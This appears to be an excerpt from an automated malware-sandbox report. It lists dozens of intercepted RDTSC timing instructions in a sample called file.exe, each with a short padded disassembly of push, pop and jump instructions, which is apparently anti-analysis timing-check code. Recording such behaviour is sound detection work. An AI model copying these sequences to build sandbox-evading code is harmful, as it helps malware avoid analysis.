Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A989A2 second address: A989A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D08E second address: A9D094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D094 second address: A9D09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D09A second address: A9D0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D0A3 second address: A9D0A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4E6A second address: AA4E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4183 second address: AA4189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4311 second address: AA4328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4328 second address: AA435B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA38C22207h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FEA38C22203h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4945 second address: AA497F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEA38E8CA3Eh 0x00000008 jmp 00007FEA38E8CA47h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jl 00007FEA38E8CA36h 0x00000018 jp 00007FEA38E8CA36h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA497F second address: AA4984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4984 second address: AA4999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA40h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7505 second address: AA7510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7510 second address: AA7517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA78DB second address: AA78EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jne 00007FEA38C221F6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA78EE second address: AA78F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA78F4 second address: AA78F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA78F8 second address: AA78FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA78FC second address: AA7916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22201h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7916 second address: AA791C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABBDA second address: AABBF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FEA38C221F6h 0x0000000a jmp 00007FEA38C22200h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC182 second address: AAC18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC18A second address: AAC1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEA38C221F6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007FEA38C221F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC2F8 second address: AAC305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FEA38E8CA36h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57699 second address: A576A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAC43B second address: AAC445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEA38E8CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAD00B second address: AAD00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB435B second address: AB435F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB435F second address: AB4381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22200h 0x00000007 jns 00007FEA38C221F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4381 second address: AB4385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4385 second address: AB4391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FEA38C221F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2501 second address: AB2509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2509 second address: AB2511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2C65 second address: AB2C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2C69 second address: AB2C85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22206h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2FAA second address: AB2FC0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FEA38E8CA3Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2FC0 second address: AB2FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38C22203h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3564 second address: AB356A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB380C second address: AB383D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FEA38C221FFh 0x00000011 pop edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FEA38C221F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB383D second address: AB3841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3841 second address: AB3856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEA38C221FFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3856 second address: AB3861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FEA38E8CA36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3DAC second address: AB3DBC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38C221F6h 0x00000008 jp 00007FEA38C221F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB97C7 second address: AB97CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC719 second address: ABC71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC8B5 second address: ABC8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA38E8CA42h 0x00000009 je 00007FEA38E8CA36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCF12 second address: ABCF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD0A4 second address: ABD0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FEA38E8CA42h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC584E second address: AC585A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEA38C221F6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC585A second address: AC585F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CD5 second address: AC3CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CD9 second address: AC3CE5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEA38E8CA36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CE5 second address: AC3CF1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CF1 second address: AC3CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CF5 second address: AC3CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CF9 second address: AC3CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3CFF second address: AC3D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3D0D second address: AC3D31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Ah 0x00000007 jmp 00007FEA38E8CA46h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC41F7 second address: AC41FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC41FB second address: AC420D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC420D second address: AC4215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4215 second address: AC4219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4219 second address: AC421F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC45E9 second address: AC4607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEA38E8CA49h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4607 second address: AC4615 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA38C221F8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4615 second address: AC4619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4762 second address: AC4766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5693 second address: AC56A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Bh 0x00000007 jns 00007FEA38E8CA36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC56A8 second address: AC56B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC56B0 second address: AC56B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33E7 second address: AC33EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33EB second address: AC33FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FEA38E8CA3Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33FB second address: AC33FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB9C9 second address: ACB9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FEA38E8CA36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB9D6 second address: ACB9F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEA38C221FDh 0x0000000e jc 00007FEA38C221FCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB9F4 second address: ACB9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6805 second address: AD681E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEA38C221FDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD681E second address: AD6824 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6824 second address: AD682A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD682A second address: AD683E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA38E8CA38h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jno 00007FEA38E8CA3Eh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B856 second address: A0B85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD0F second address: ADAD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD13 second address: ADAD17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD17 second address: ADAD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD1D second address: ADAD23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD1BE second address: ADD1C8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEA38E8CA36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3871 second address: AE3877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE90ED second address: AE90F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE90F3 second address: AE90F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F20 second address: AE8F36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F36 second address: AE8F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F42 second address: AE8F88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA48h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEA38E8CA42h 0x0000000e jmp 00007FEA38E8CA48h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F88 second address: AE8F8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8F8E second address: AE8FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FEA38E8CA3Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8FA8 second address: AE8FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8FAC second address: AE8FB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8FB4 second address: AE8FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8FBA second address: AE8FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED14A second address: AED14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3BD5 second address: AF3BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3BD9 second address: AF3C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEA38C22209h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3C03 second address: AF3C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FEA38E8CA36h 0x00000009 je 00007FEA38E8CA36h 0x0000000f jmp 00007FEA38E8CA43h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3C2A second address: AF3C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF415C second address: AF4160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4422 second address: AF4428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4E11 second address: AF4E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FEA38E8CA36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4E20 second address: AF4E2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4E2E second address: AF4E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF79D1 second address: AF79D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
